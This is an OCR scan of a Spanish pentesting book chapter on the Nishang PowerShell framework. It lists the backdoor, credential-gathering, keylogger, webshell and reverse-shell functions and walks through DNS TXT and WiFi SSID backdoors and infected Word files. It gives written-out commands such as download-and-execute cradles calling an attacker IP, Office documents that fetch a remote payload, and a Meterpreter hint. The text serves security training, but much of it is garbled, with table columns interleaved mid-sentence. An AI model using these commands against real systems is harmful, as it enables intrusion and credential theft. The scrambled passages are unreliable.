Esta es una manera sencilla de dotar de persistencia a los scripts ante diversas condiciones, como es
la posibilidad de tener permisos de usuario 0 permisos mas elevados. Una manera sencilla y comoda
de generar persistencia a scripls utilizando el SeriptBlock como piedra para crear el contenido.
Ademas, el uso de Out-EncodedCommand permite obtener un EncodedCommand que ofusca el

contenido para que no sea tan visible.

6.Nishang

Nishang es un framework o coleccion de seripts d
de funcionalidades que pueden ser utilizadas por un pente
intrusion. Nishang habilita el uso de payloads y de los scripts de PowerShell para un test ofensivo o
ando diferentes fases de éste. En lineas generales, es un potente conjunto
ilizados para la post-explotacion. La direccion URL donde se
b.com/samratashok/nishang.

e PowerShell, el cual proporciona una serie
<ter durante el desarrollo de un test de

test de intrusion contempl
de herramientas que pueden ser ut
puede descargar Nishang es hitps./githu

Nishang esta compuesto por diferentes modulos que forman el framework global. Los diferentes

médulos son descritos a continuacion:
_ Antak - Webshell. Este médulo proporciona la
descarga y sube archivos, ejecuta comandos v ejecu
de la maquina.
- Backdoors. Este médulo proporciona diferentes fu
Se utilizan diferentes protocolos y mecanismos para ins

puedan ejecutar instrucciones a través de ellos.
rmatos, como pueden ser Word, Excel, JAR, y les

dulo es interesante para utilizar la via del

posibilidad de utilizar una webshell que
ta scripts de PowerShell en la memoria

neiones que instalan una backdoor.
talar backdoors en el sistema y que

_ Client. Crea archivos en diferentes fo
inyecta instrucciones de PowerShell. Este mo
usuario vy el archivo malicioso que ejecuta instrucciones.

. Escalation. Este médulo proporciona 2 funciones que ayu
privilegios en el sistema comprometido.
- Execution. Este médulo proporciona funciones que ayudan al pentester a descargarse
codigo., por ejemplo a través del protocolo DNS, 0 desde un servidor web, y lo gjecuta a

través de PowerShell. Los mecanismos utilizados para conseguir 1a ejecucion de codigo son

interesantes y funcionales.
. Gather Este modulo proporciona funciones que ayudan a la recopilacion de informacion

del sistema. Algunas de las funciones son mas agresivas configurando un keylogger sobre el

sistema. Este modulo tiene funciones muy Gtiles en la posi-explotacion como, por ejemplo,

dan a conseguir elevacion de
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peard ¢ i
Ji ontrasefias en texto plano de sistemnas

Invoke-Mimikatz Wi
. zWdigesiDowngrade la cual d
Windows 8.1 y Windows Server 2012. .

Pivor. Este md
3 maddul i i
maquinas con el Objetivoo (};’ffipomlmfa e Sl & e ‘
o i e ¢ lograr pivotar entre ellas. Por ejemplo, se pued Sapraig ey
verShe = . ? " ife
con otras maquinas, copiar y ejecutar binario.sioeb b i
re otras maquinas o

crear relays de red e ! :
o s 4 : nt.re diferentes equipos. Uno de los médulos i s
plotacion de cualquier test de intrusién. 0s imprescindibles en la posi-

. 5
rasadhak. Este médulo consta de una funcién, la cual che

ue s in ej g
que se estan ejecutando en la maquina contra la base de datos d quea los hashes de procesos

Scan. Este mo . e VirusTotal
. odulo : -
siictions de Bisrsark PTOPf)rc10na un escaner de puertos y una funcién
1za bruta a diferentes protocolos y servicios para llevar a cabo

;:n Powe’};preze.f: Este médulo es especial, ya que contem
1;11 médulo importable desde PowerShell. Si se visu
puede ver como todas las funciones de los distintos mo

p?a toda la funcionalidad de Nishan
ghlza el codigo fuente del médulo si
e : il : Ulos se agrupan en este madu
o diferznr;;siurloc;ozrcipmmona diferentes funciones que ayudan a obtener /ka;/
S o olos. Las shells que se obtienen, en la mayoria de los ¢ 9 8
e , lo F:l.lal es algo muy util en la post-explotacis S O 1
$ que pueden ser utilizados son TCP, UDP, ICMP o I—]T"l{P o

7- . . ‘
L“ Y. Este IIlOdIl]O plO yorciona dlIEIe' te un € a moao e ( a(i E i
1 S CIOI¢ as
nes cs 5
ut]lldades pl.leEll Ser u'-[llzadas dutaﬂte dlfere tE:S 1ab‘C‘S dL

" . s e
pueden ver como funciones extra. pero litiles test de intrusion, por lo que se

Prasadhak, Scan, Escalation y Antak

Estos 4 modulo :
ulos han sido agn : debi
i Ipados
T T g debido a

que estan compuestas por una cantidad baja de
El prim
. l%p ero df_: ellos, Pasadhak, es capaz de calcular los hashes de |
stema y verificarlos contra la base de datos de Firus Total ‘ Els 'ed CI}S St et gl
para realizar un esca ey < e | i
- : Scan propor 3
il g de puertos y acciones de fuerza bruta. que aunque nopsczf) lacm]']a ey
rin i jo ci j 1o, 5
proporciona funciones ri]a(?_s esccl:enarlos bajo ciertas condiciones. El tercer n](')duloJOE-r‘SOl'uC]'om
e 1onadas con la escalada de privilegio. Por tiltimo, 4nfak : AC"’_/a“f”"-
Zar una webshell. A continuacion se describen o e

4mé . i
médulos en la siguiente tabla resumen: las funciones que componen estos

Funcion
s Descripcion
- nf ; ‘ .
Antalk rak es una webshell escrita en ASP.Net el cual utiliza PowerShell. Cad
Enoble = comando es ejecutado en nuevo proceso ¥ . Cada
- st p
Bl nmorlls lanza un payload que permite duplicar el Access token de Isas
| payload debe ser ejecutado con permisos ele;fado e [sass.
5
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Funcién Deseripeion Funcion P
Estg funcién elimina actualizaciones del sis.ter.na de forma silenci‘osa.. El primer R — ::lc};?cmr.l
R e;emplo es Remove—Upa’ate All el cual elimina todas li-lS actuahzac%on.es del | ) implementados en un servidor DN; SL fzaflzar consultas a registros TXT
. Uit sistema. El _segund'o ejemplo es Rem(nje,-ljfpda[e Seczn‘:qg el cual elimina las DNS_TXT Pwnage | o seripts en el interior de los reoist.roe'T)e(ben COnﬁg(_n-ar las instrucciones
actualizaciones de seguridad de la maquina. El tercer gjemplo es Remove- servido a través del registro T)‘ET de? ser\-flgddoerl ;e;vsldm DNS. El seript
se debe generar g

Update KB2761226, el cual elimina la actualizacién KB2761226 s de O
- ut-Dns T, el cual se ency
d entra en la cate

Esta funcion calcula el hash MDS5 de los procesos que se gjecutan en la
programar cuando

Prasadhalk méquina y los contrasta contra la base de dato de FirusToral. Un ejemplo es
Prasadhak —APIKey <APIKey> Execute-OnTime [ﬂ)rogramada la funcién descargard el script de Pou(‘);z;; U;;" pll'd p s
1 ejemplo seria Ex i : ‘erohell y lo ejecutara
Jemplo seria Execute-OnTime -PayloadURL hitp:/ipastebin J(;::/:]r:
et (A0

f? 2i= M -AF & ¢ = e
Php i /:h)jfgf W/ Argumems Get ]mr)rmaﬁ()n Time hih qmm -Check URI
. -LAeck b

goria Utiliny

Est.a funcion lanza un pavload el cual permite
S¢ ejecutaran las instrucciones remotas. Cuand

Esta funcion realiza un ataque de fuerza bruta contra SOL Server, Active
Web o FTP. Un ejemplo serfa Invoke-BruteForce -ComputerName

Directory,
: roetdomain.com -UserList C:lusers.ixt _PasswordList C:\wordlist.ixt http:/ipastehi Ml il
| Brute-Force CRB ORI e Vi i : p:Hipastebin.com/raw.php?i=ZhyfSrwh -StopString st
i _Service ActiveDirectory —StopOnSuccess. Este ejemplo lanza fuerza bruta Esta funcién properciona una & g stoppavioad
contra el directorio activo, utilizando un listado de usuarios y un listado de comandos de PowerShell a tra L,HZ TCkcéoéJ" que es capaz de leer los
2 W o ves de los SSID de las redes Firefoo
contrasenas Gupt-Buckdoor encuentran alrededor. Un ejemplo seria Gupt‘Backdoo:d;/Sl i i gsfeu que se
~Verb Snde o ; -MagicString o
bose, donde la funcién buscard el SSID que comienza con op 3 23 )
L. ) A I

Esta funcion realiza un escaneo de direcciones IP, nombres de fiost y puertos

¥ El-tob (= la (& U N C- 1pio _‘16].' 1 PO-'T—S:'[HT f fart [ {,i' e8s f g_. ! 6(\. “] Bl el )
. -ElI‘ldO pOI [+ emp| 4 I’?() ]
4 47 17k, no d l I’ d

Port-Scan
Wireless deberia ser op3newhoami

_EndAddress 192.168.0.254 -ResolveHost —ScanPort.
Adldl- Listd Fitiditinar
Tubla 3.39: Finciones de Prasadiiak, Sean, Escalation v Awlak en Nisharg. . sta funcion ejecuta una hackdoor oy >
] S SeveBnckdiion - oo kdoor la cual puede utilizar Windovws r—
s . ver para gjecutar comandos y scripts remotos
e- sta funcion ejecut :
j ] a una backdoor ot
Backdoors ADSBackdoor Data Streams, y ol reaint fodo.' ;3 c;ai puede utilizar ADS, Alternate
. gistro de Windows para lograr persi 1
” ; - . : : grar persistenci
Esta categorfa agrupa funciones que pueden ser utilizadas para instalar backdoors en el equipo, Tetbies 348 Funeianes dv Bashd , P S Ra
o J 1 i , i 5 ' el nes de Backdoor en Nis r
consiguiendo ejecutar instrucclones a iraves de diferentes protocolos, como por ejemplo HTTP o e
DNS. Las funciones son realmente Gtiles en algunos entornos, como pot ejemplo donde el pentester i
tiene acceso fisico y necesita descargarse los scripis a través de un protocolo permitido como el Client
DNS. o un entorno donde el pentester necesita instalar una baekdoor para poder volver a ejecutar Este modulo proporciona funciones qu i
instrucciones. A continuacién se enumeran las diferentes funciones que constituyen en este moadulo. se pueden ejecutar instrucciones dej-" gy l;/m; crear archivos de tipo Word, Excel, JAR, con los que
: : ) ' owerShell a través de ellos. El mé G -

.{OS cuales pueden ser utilizados SER L o eﬁLl]o:. El médulo consta de 6 funciones.
=T - instrucciones en T o a cnganar a olros usuarios y conseguir ej
Funcién Descripcion clones ¢n una maquina y obtener un privilegio. A continuacié “ PRI eIy

- P ' et Adi, privilegio. A continuacion se describen las [unciones de
Esta funcién ejecuta un payvioad el cual realiza una consulta a una
direccion URL la cual contiene una magic string. Si el magic siring que Fancitn
introduce el pentester coincide con el del parametro CheckURL se cargard Deseripeion
el médulo o funeion al que se apunta con el parametro PayloadURL. Esta funcidn permite crear archivos con extons:
i s o= . ; n extension C e
HTTP-Backdoor El argumento Arguments indica que funcién se ejecutard de todas las se encuentran infectados pudiendo ej etx ension CHM. los cuales
o : , i : ecutar -
que puedan existir en PayloadURL. A continuacion s¢ muestra un PowerShell. Un ejemplo seria Out (.JHjl,[' a;)comandos y scripts de
cjemplo sencillo HTTP-Backdoor -CheckURL hitp:/ipastebin.com/raw. Out-CHM -HHCPath “C:\Program Files (\'86)."HTM’IL_/I avioad “Get-Process
php?i=jqP2vJ3x -PayloadURL hzrp://pasrefﬁn.Com/mm-:php?iiZh);]‘é’r\-\--v'i inyecta el comando Get—Proceu‘ -en e]lintf; i fjeﬁj ~M0rk'ﬂm/ 2", dénde se
’ . ; ; 5, : : L ; T ‘.
-Arguments Get-Information -MagicString start123 -StopString stopthis abierto. Un ejemplo valido seria consegui o el fichero cuando éste sea
Ir ejecutar una shellcocle al abri
; : Shell abrir
este tipo de fichero

EEE
| HE N
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Funcion

Descripeion

Qut-Word

Esta funcién crea un archivo de Word y lo infecta para ejecutar comandos y
scripts de PowerShell. Como primer ejemplo se puede visualizar éste Out-
Word -PayloadURL hitp://yourwebserver. com/evilps1 -Arguments Evil,
con el que con el parametro PayloadURL se indica de dénde se descargarad
el script al abrir el fichero y con el parametro Arguments se le pueden pasar
argumentos, por ejemplo para invocar una funcién que se encuentre en el
interior del script. Otro ejemplo seria Ous-Word -Payload “PowerShell.exe
_ExecutionPolicy Bypass -noprofile -noexit -¢ Gel-Process ” el cual crea un
fichero de Word y cuando éste se ejecute se ejecutard la macro a través de
PowerShell

Out-Excel

Esta funcién crea un archivo de Excel y lo infecta para ejecutar comandos y
scripts de PowerShell. Esta funcion es gimilar a la denominada Out-Word

Quit-HTA

Esta funcion permite crear un fichero HTA el cual puede desplegada sobre
un servidor web y utilizado en campafias de phishing

Out-Java

Esta funcién permite crear un fichero JAR firmado, el cual puede ser
utilizado como applet para ejecutar comandos y scripls de PowerShell.
Como puede visualizarse, este fichero es otra via para realizar un clieni-

side

Out-Shorteut

Esta funcion permite crear un fichero de acceso directo, es decir con
extension .lnk, el cual permite la ejecucion de comandos y scripfs a través
de PowerShell

Execution

Esta categoria o médulo de Nishang permiten alp
protocolos, permitiendo la gjecucion de codigo y

Tubla 3.41: Funciones de Client en Nishang.

entester descargar codigo a través de diferentes
de scripts. A continuacion se describen las

funciones de este modulo.

Capitulo I1I. PowerShell puro: El arte del pentesting

—  Ed

Funcion Descripcién
Execute- s
e Esta funcién permite ejecutar comandos de PowerShel] com :
MSSOL cmd o comandos SQL sobre un MSSQL Server con los }riviligji;:) :uaf;w'm N
: cientes
DN?.;;;TME Esta fupmqn ]?ermnte ejecutar una shellcode en memoria utilizando consultas
aregistros TXT de un servidor DNS configurado por el penre;m?su -

Tabla 3.42: Funciones de Execution en Nishang.

Gather

Este médulo en i i i ilaci

et g;b; g?;l;lg;esp CL]:::. permiten TBHIIZF:U' recopilacion de informacién sensible o jugosa

o g in.alé ;rqnes qlue permiten extraer los hashes de la maquina, rectw;ilar

e uen:j eru;a_s ; as que se conecta la maquina, extraer las contraserias en

e ek q e phishing fie credenciales en sistemas Windows. A continuacion
pertenecientes al médulo de Gather.,

Funcién
Descripcion
i EStla fgncm_n chequea si se esta ejecutando en un entorno de
maquina virtual o no hay ningiin entorno de virtualizacién
corriendo

Esta funcién | in i i
iy anza una vel?ta%la de login interactiva la cual
eportara lo que el usuario introduzca en texto plano al
pentester. Esta funcién es un ataque de Pphishing. Conseguir las
credenciales en remoto a través de este engafio es viable

Invoke-Credentials Phish

Este par de scripts ayudan a realizar egress festing, En otras
R Palabras', cuando el pentester consigne acceso 4 un equipo y
istener quiere verificar si desde éste se puede acceder a Internet oa ot
; S otra
. . s
ed en Lllé}]lel]Bl' puerto. Con FireListener se abren puertos y con
FireBuster se intenta conectar con dichos puertos —

Execute-PS

Funcién Descripeion
Esta funcion descarga y ejecuta un script de PowerShell en memoria,
Download- Un ejemplo seria Download-Execute-PS hitp://dominio.com/script.ps]

-Argument script. En este ejemplo se descarga el script desde una ubicacion y
se ejecuta la funcion que se indica en Argument

Download
LExecute

Esta funcion permite descargar un ejecutable en formato texto, convertirlo a

gjecutable y entonces ejecutarlo. Puede ser una buena soluci6n para evadir
mecanismos de red que puedan evitar que la descarga llegue a la maquina
dénde se encuentra el pentester. Un ejemplo serfa Download_Execute hiip://

_Esta funcién recopila informacién jugosa desde un equipo. L
mfonpacién dependera de los privilegios con la que ge el?e(-:uta
la.funcu')n. A modo de resumen se puede encontrar aplica}:io *
mnstaladas, informacién sobre redes inalimbricas usuarios -

grupos locales, politica de cuentas, informacién sgjb1'e SNM)P/’
recursos compartidos, hosts y sesiones de Putty, etcét;:ra -.

Ger-Information

example.com/file.txt

CEsta func.ic’)n copia el fichero SAM utilizando Folume Shadow
Copy-VSS opy Serwce. De este modo se pueden copiar ficheros que estan
protegidos o bloqueados por el sistema. Hay que tener en cuenta

que habra que tener permisos para ejecutar VSS
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Shells
ipcion : A ;
Funcién DEIG Este médulo proporciona diversas funciones que ayudan a obtener una PowerShell interactiva a

Esta funcién extrae los LSA Secret

Get-LSASecret través de diferentes protocolos. como pueden ser TCP, UDP, HTTP o ICMP. Incluso, se pueden
el- 5 - s 5 i 7l i >
Esta funcién extrae los nombres de usuario, identificador y gjecutar ordenes sobre PowerShell apoyéndose en servicios como Gmail para transferir las érdenes.
Get-PassHashes hashes LM y NT del fichero de cuentas SAM A continuacién se describen las funciones del médulo Shells Y s& muestran algunos pequefios
Esta funcién recopila informacion sobre las redes inalambricas ejemplos de ejecucion.
sta funcion :
Get-WLAN-Keys almacenadas en el equipo
‘J Esta funcion permite capturar las pulsaciones de teclado desde Faiicitn Descripeitn
; - ) s tida o .
Keylogger una maguina comprome 1~ o Esta funcién es muy potente proporcionando una PowerShel]
Invoke- Esta funcion realiza un dumpeo de contrasenas en ;t;x]tg plano reeti o USRI, o1, 5t v et Bl o
MimikatzWdigestD owngrade equipos Windows 8.1y Windows Server Z T Un ejemplo de ejecucion seria Invoke-PowerShelchp —[PAddress
imikaiz B & £ e

; <direccién IP> -Reverse —Port <mimero puerto>. Por otro lad

Tubla 3.43: Funciones de Gather en Nishang, 4 o £ 0_ o lado el

atacante podria configurar en su maquina un rercat, por ejemplo con
i —l —p <mimero puerto=>

Pivot Esta funcién permite enviar comandos y/o Seripls a una cuenta de
1vo o s squinas y redes. Las Gmail. Esta funcién es ejecutada desde la cuenta del atacante o
] s funciones para la realizacion de pivoting entre maquinas y - _ | 1
Este modulo proporciona I : cwloitation, ya que ayudan al pentester ; del pentester y configura los datos de la cuenta. Por otro lado se
) das son realmente utiles en la fase de post-exp ; Invoke-PsGeat PO iy ) : s
funciones presentadas so . podia llegar. utilizara la funcion Invoke-PsGeatAgent o Powercar sobre la maquina
a llegar a mas sitios, dénde quiza al comienzo Hel process o R ‘ objetivo. Estas funciones realizaran la descarga del comando o del
A conti -4 se describen las funciones que forman el modulo Pivot. Script y se ejecutard
continuacio : : . .
= . Ejecuta comandos y seripis los cuales son enviados por {nvoke-
Invoke-PsGearAgent
Descripcion PsGeat
Funcion . , Dt Tl Tt . ; — e
Esta funcion permite al pentester chequear las credenciales sobre . Esta fu.ncmn proporciona !z{ posible ¢jecucion d{e una Pouuslhdz’
iy ' p . ear diferentes PSSessions en Powershel. Invoke-PowerShellUdp | interactiva, tanto en modo bind o reverse, ejecutandose a través del
diferentes macgm]]as 3;[{ (a:; igara bivotar a través e las e des y de protocolo UDP
s Dl e ‘sta s una de las : i . N : N : : T
Create-MultipleSessions .E_S . T . i lo seria Create-MultipleSessions Esta funcion proporciona una PowerShell interactiva inversa a
diferentes maquinas. Un gjemplo , : , Rl
_filename \servers.ixt -CrealeSessions través de HTTPS. Un ejemplo de ejecucion es Tnvoke-PoshRatHiips
Esta funcion permite copiar y ejecutar un fichero sobre diferentes Invoke-PoshRatHitps —l]PAddress 192.168.56. ]—01 -Pgﬂ &443, mientras que en. f._‘] ch@té se_
sla THncielk PRt far a lo que se puede llevar a cabo con las ejecuta [&;Stefﬁi.Nef.Serwc‘ePomrManager].','ServerCer!gﬁcare Validati
Run-EXEonRemote maquinas. Es similara fo 7 onCallback = {$true}:iex (New-Object Net.WebClient). DownloadStri
Tl (“htips://192.168.56.101:8443/ ¥
ta funcién permite gestionar relays a nivel de red. Trabaja a {rg, i ———— -C(mncc-f }.
ESta & bt Pv6 > luso ermite hacer vétov4. Un ejemplo Esta funcioén proporciona una PowerShell interactiva inversa a
el d’e o [VV . m-;Re]ml? _Relay vdtovd -Listendddress través de HTTP. Un ejemplo de ejecucion es Invoke-PoshRatHitps
Py Le TV:O} v 8888 ConnectAddress 192.168.1.22 Tnvoke-PoshRatHitp -IPAddress 192.168.56.101 -Port 80, mientras que en el cliente
_ - T - . . y . ; ; g :
Invoke-NetworkRelay 192.168.254.141 -Listenp 02 168.254.141. Se anade un se ejecuta iex (New-Object Net. WebClient). DownloadSiring
iy ctPort 445 -ComputerName 192.1068.20%. h . 5 !
-Conne ) ia 1o que llega al pueto 445 (“htip://192.168.56.101 /connect )
relay el cual escucha por IPv4 y reenvia .0 qu gd — ' - -
al puerto 8888 de otra maquina de lare ] | — Esta funcion limpia el sistema después de utilizar Invoke-

PoshRatHrtps

3.44> Funciones de Pivot-en Nislhang. - — - . - =
Tabla 3.44: Fu Invoke-PowerShellWmi | Esta funcién proporciona una PowerShell interactiva utilizando Wl

EEE
EER i
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EI primer ejempl
= PR 0 .
Funcién Descripcion presentado ;3 B IeJl ptressz;\;io es el de la backdoor que utiliza el protocolo DNS
TR, 7 3 : p autor de Nisha ; - . Bste gje .
Esta funcion proporciona una PowerShell interactiva a traves del . ng en una de las conferencias donde presents suﬁ-aS . e_]uzplo o
: _— e mework
rotocolo ICMP. Por ejemplo, sobre una maquina Linux controlada ara llevar a cabo esta : :
p jemplo, sobr q : Pl pI.‘ueba S¢ necesita que el pentesier tenga el
por el pentester se puede utilizar icmpsh_m.py, el cual es parte de B able. En este servidor DNS creara un registro TXT ga ¢ control de un servidor DNS
las icipsh tools. En primer lugar se ejecuta sysct! -w net.ipvd.icim, gjecutar. Nishang proporci - : especial con el contenj ;
Invoke-PowerShelllcimp s 7 i gy P OSt(:‘I‘iDlDI’llthL Jse e'ecﬁta oo ’_Cf; e mp - & braporciona una funcion denominada Out-DnsTxt dentro de Ia nu;lo que se quiere
' e (= . ] S 7 y d . - ca tu ope
<di;e§cién P pentZsf;r> <direccion IP rjaroer; . Una vez ;lf):aliizad};J Esta funcién permite obtener un EncodedCommand d . P iy
esto se ejecuta en el farget 1a instruccion Irr‘;ol'cevPon-‘erShelenp B fomﬂ entrada. Cada linea debera almacenarse eﬁ une—gz;cg?f’ comando o shelicode que se pasan
§ i ongitud maxi ; iferente de :
‘ [PAddress <direccion IP pentester> £ maxima de cada registro TXT es de 255 caracteres, y esto es al o tdel servivar DS, Lo
PS i E £0 a tener en cuent
Tabla 3.43: Funciones de Shells en Nishang. & ;2; igaggz 1 gUE -DnsTxt -DataTloEncode Get-P -
: CQSthBO”EgoLS?mSQﬂ in single subdomain. rocess -IsString
, ecords writ ST
. C:\nishangd ten to C:\nishang\encodedtxt LExt
Utlllty Fig. 3.45: Obn s i i
, . - \ - . 435, encion de instrucelon encodeada para almacenearf, i
Este médulo de Nishang proporciona funciones que pueden ayudar al pentester a realizar algunas Ul vz oliienm el o a en un registro TXT.
o acciones. Este erupo de utilidades proporcionan persistencia a los scripts, ermite realizar descarg ne el s7ring se deb i
! 8. bste grup util prog: AP R scripls, perml , 2as Por otro lado, si se qui 4 € pasar al servidor DNS del pentester creando corist
de ficheros o encodear y decodear scripts o strings. Esta ltima parte es muy importante ya que se DinsTxt - rﬁT B quiere encodear un script completo se puede utilizar la sieyi o oM AT
15 4xt -DataloEncode <Ruta seri - I la siguiente instruceid
i script, por ejemplo Get-WILAN-K DR G
-Keys.psi>,

puede juntar con la parte de shells con el fin de ejecutar instrucciones mas complejas a través de los
FEncodedCommand. A continuacion se describen las funciones del médulo Utility.

U a [ p CL}
AY{ ha creado ]
g Sir
T \de)z e! Denlesier € (I L= (& Q i)(] en e] ser Vfdol DNS s€ Uede U[]]IZ&I LAY up
pala C( l.‘!lp]Obal que 5¢€ Obtle“e e[ E”ﬁ()QECJCOf??ﬁ?a”d.. ]J()] E|eli [)]0 COoI Ia mnste uccion f?ﬁl’l" Ooil/ =
Ok p

4
i
3 Funcion Descripcion type=txt <subdominio cread /
™ e . 7 . 1 reado, por efemplo 1 flu-project.c
4 Bfilirsition Fsta funcion permite afiadir la capacidad de filtrar datos a través de se obtiene de Our-DnsTxt debe ser un sfbd ﬁ /Jf‘s{iecr_w,,p_ Hay que recordar que cada linea que
Add-Exfilty ; s ) i : omi . .
‘ Gmail. Pastebin, un servidor web o DNS — nio diferente en el servidor DNS.
e i od 5 : ; 1.64 - :
Add-Persistence Esta funcién afiade persistencia al script "pVRLbSUgD[\-IXXGVIQMNVOEm
Remorie-Ponsistont Elimina la persistencia de un script, la cual fue afiadida previamente 1.script i
e-Persis ¢ ) ! _
por Add-Persistence ‘a9swEMMBioOh5uHBGa7e
. - . . " : 264
Do-Exfiltration Esta funcién proporciona capacidades de pipe en su salida "YG6rsJJFNBXJyQGCIACYeoag’
Dovwitoad Esta funcién proporciona descarga de ficheros hacia la maquina 2script T
VITLO i " =
comprometida ) OBIGBZEpXy8Syws4H/sO.kk
= ; ; 364 —
: Esta funcion parsea palabras clave recogidas previamente por el : ! " T e
Parse Keys : P o wlcie P - INBESFTicUHmMCsbaMBODATF
eviogger Ldsolipt B .
Invoke-Encode Esta funcién encodea y comprime un script 0 un string ' ROWrBEHS5]L58z/dmlEg/NochP1
Invoke-Decode Esta funcion decodea y descomprime un script 0 un siring Lol "GetProcess’
Tubla 3.46: Funciones de Utitliy en Nishang. B_ncsbript e
"xViteIs4kvBcVOL/ABTNISF
ABTNASRG..
| perl
. . | "eGVYbCAITUIPICTIICCK
PoC: Backdoors, jugando con DNS y Wireless , ' MBI
= = an i, -
En esta prucba de concepto se hablara sobre las backdoors que Nishang proporciona, especialmente - stariscript”
la que puede comunicarse con los SSID stop : ]
"stop”

sobre las que se encapsulan a través del protocolo DNS y
Fig. 3.46: Configuracion del servidor DNS.

de las redes Wireless.
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ripis a través de los registros TXT.

Ahora DNS _TXT Pwnage es capaz de recibir estos comandaos o s¢
Para este ejemplo se puede ejecutar algo como DNS_TXT Pwnage _StartDomain start.flu-project.

com -cmdstring begincommands ~-CommandDomain command.flu-project.com - ssiring startscript
f=l =] . 2

_PSDomain script.flu-project.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop.

Applied: All User Profile

Profile information

Version Hianl
Type : Wireless LAN
Name : Hotel
Control options 3
Connection mode : Connect automatically
Network broadcast : Connect only if this network is broadcasting
AutoSwitch : Do not switch to other networks

Connectivity settings

Number of SSIDs T
: "Hotel 2

SSID name : B
Network type : Infrastructure
3 Any Radioc Type ]

Radio type
Vendor extension Not present

Security settings
Authentication . WPAZ-Personal
: CCMP

Cipher
Security key Present

Fig. 3.47: Ejecucion del scrip! rectiperado a través del DNS.

ikdoor que recibe los comandos a través del SSID de
a. La backdoor denominada Gupt permite ejecutar los
lectura de los SSID.

El segundo ejemplo presentado es el de la b
una WiFi cercana a la maquina comprometid
comandos. como se menciona anteriormente, a través de la
Gupt chequea todas las redes Wireless de su alrededor para encontrar ull patrén adecuado. La
busqueda de redes la realiza cada 5 segundos,

La funcion hace hincapié en 2 parles 0 parametros diferenciados. El primero conocido como
MagicString de 4 caracteres de longitud, el cual es utilizado para identificar el SSID que contiene
los comandos, el segundo se corresponde con el quinto cardcter, el cual ayuda a decidir si se quiere
gjecutar un script. El quinto caracter debe ser o una “c”, si s¢

¢jecular un comando o descargar y
» gi se quiere descargar un scriply ejecutar.

quiere gjecutar un comando, © una "u
ificar esto se van a presentar 2 pequenios ejemplos. el printero configurando un SSID con

Para gjempl
ando un seript v ejecutandolo.

el que Gupt ejecutard un comando v un segundo descarg
hévil o de un punto de acceso controlado
" Al ejecutar la instruccion Gupi-
a realizar busquedas sobre las redes
MagicString configurado. Cuando la
” gjecutard ¢l

Si el pentester configura, ya seaa través de su dispositivo n

por ¢él, un SSID con el siguiente nombre “pableget-process

Backdoor -MagieString pabl =Verbose, la funcién comenzara
o (=]

itehean con el

para ver si los primeros 4 caracteres del SSID ni
| quinto cardcter y al encontrar una g

funcién encuentre un SSID valido comprobara ¢
comando que va después, en esie caso Get-Process.

ERBOSE: i i
O ERHosE gilsstﬂy 73 networks for instructions
UERBOSE Checking ﬁlpzigax nuguerks for ingtructinﬂz-
) ik ss networks for instr ions.
ghec§1ng wireless networks for instvﬁg:%ano-
Cg:; 3 ﬂctunrk with instructions? e
nmand “get—process' found. Executing it

NPHCK> PHCK> WSCK> UMM CPUCs >

AERTSv64
armsuc
avgcsrua
avgrsa

12.82 : avgtray
avgudsuc
BTHSAmpPalService
BIHSSecurityMgw
btplayerctrl
capius
conhost
conhost
conhost
conhost
cS1'sSS
CSPSS
deunonspuy

dllhos¢t

F-"‘].'--.-w‘-' 3 o
ig. 3.48: Efecucion de comandos a través de la red WiFi

Ahora, si se qui i

, 81 8e quiere lograr la ejecucion de seri 7

; g i e scripts Gupt descargard v ej i

caracter del nombre d g, 4 argard y gjecutara un seripr si e intc
ol i, d seript si el quinto

ST, s ared es “u”. Después de la “u” se debe encontrar la parte de army

IRL recortada con Google URL shortener WSS R

En otras palabras, v a it -' Q

gun.g//nJlEyug DarJa C:I:.]:si?:clile 9?1:{)10. SI y sb.lD ¢s “pablunJEuug ", la direccién URL seria hutp./
El parametro 7Ai‘9umm\i5 ;;'m?lellwmél, :‘-l seript. El seript se ejecutaria en memoria direcimnent“c.
tonen &l\gpvia fnkl-"okeqS‘;;;eI/J,i s !JE.SE}-I argumentos al scripr descargado. Un uso interesante scl-{f;
través del SSID. fe; por ¢jemplo, y descargarlo a través de la direccién URL ;:-aqada.;

c 3 T 34 2 ax
ci:::t;:g ::;;‘E%t:f’ netuorks for instructions
chirn ‘ele:‘, networks for instructions.
Gl=cEin lJ:_u.:alfz‘,s networks for instructions.
et g wireless networks for instructions .
ng wireless networks fopr instruc;tion:-
-

Egﬁﬁ:{uggnuéreliss networks for instruction
_ etwork with instpe 1 H =
found a.n structions!?
ading the attack seript and executing it in memo:
17 "9_

Fio. 3.49: Desear s SeT) r ié
g. 3.49: Descarga de seript y ejecucion a través de SSID de red Wili

PoC: Client-Side Attack con Nishang

]:Ith(l e sent Co det LEFTT- 7z (Y S

o DT Lleba de conce b ¥ ¥ B

\i : ] ’\ ) ; pl.{) .S pl(.,. |'1.a LI Lepto [, i Sj[f’() lItili_a(iO deSdL IDO e 'S' ?CIIII E,

clerto qu €/ iSn‘Iaﬁg ])[ p()]‘C](l['l[l 1mclones qu(., }]e 11 lit€| crear 1(.h€'l Qs (Iue pucden ser ul‘l]‘zd‘d()s
1
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l)a a €)¢e (&} h S C 1Cner /i or
i [ i Sl L on ldeales parﬂ enviar, p
cutar lllStrLlCCiOHES una vez sof a 1ertos. Ekle llpO c f eros S,
e [) Or {5} .E ]]lC 0 nac ga[ d anera a ila vicli a.
e. mplo ‘p - correo iect[‘o (0] 1 ar lle " de aleuna maner victim
s =1

H— e}e p est €se L ) auto de ng € u t '\«Eh. 1N este quUeHO e e“lp!o se
] 10 sta pI‘ Sen adO [0)} el tor VTSJI’.'CI g n su Sitio v F "

p ede co I‘endel como va crea. ld() dlfetf‘.l'ltes iiC1|BIOS de ”07 s ] s

L mp o] Cuales fienen ¢ lllalldOS €1 su
interior que pem]itel] € ecutar Instrucclones t[as abfﬂ.‘lOS.

b -ExecutionPolicy Bypass
i lugar, la ejecucion de Out-Word -Pavload PonefSheH‘excj Excfoceso Sk i ¥
ugar, ; ] : ,
- pnm!er nogexﬁ ¢ Get-Process” proporciona un fichero que eJeCUtaéa;;]SE:a d la funcién
i ofile - = ; . % a
lm)pi oﬁla instruccion Get-Process. Esta primera gjecucion es una prue
anzaré

192.168.56.101/
igui _Word -PayloadURL http:/, ’

y e se muestra es la siguiente Qut aylot e
La segund; PW?;;Z; uq 1. El payload es cargado desde una ublcacmn_ext.ema r); ;:n éi; ,,Egﬁ}m;foad
POWWL.%?.__P‘S céd.iv ‘0 .por ejémplo una Meterpreter generada de. la mginer‘]te i /,mfém;)de y
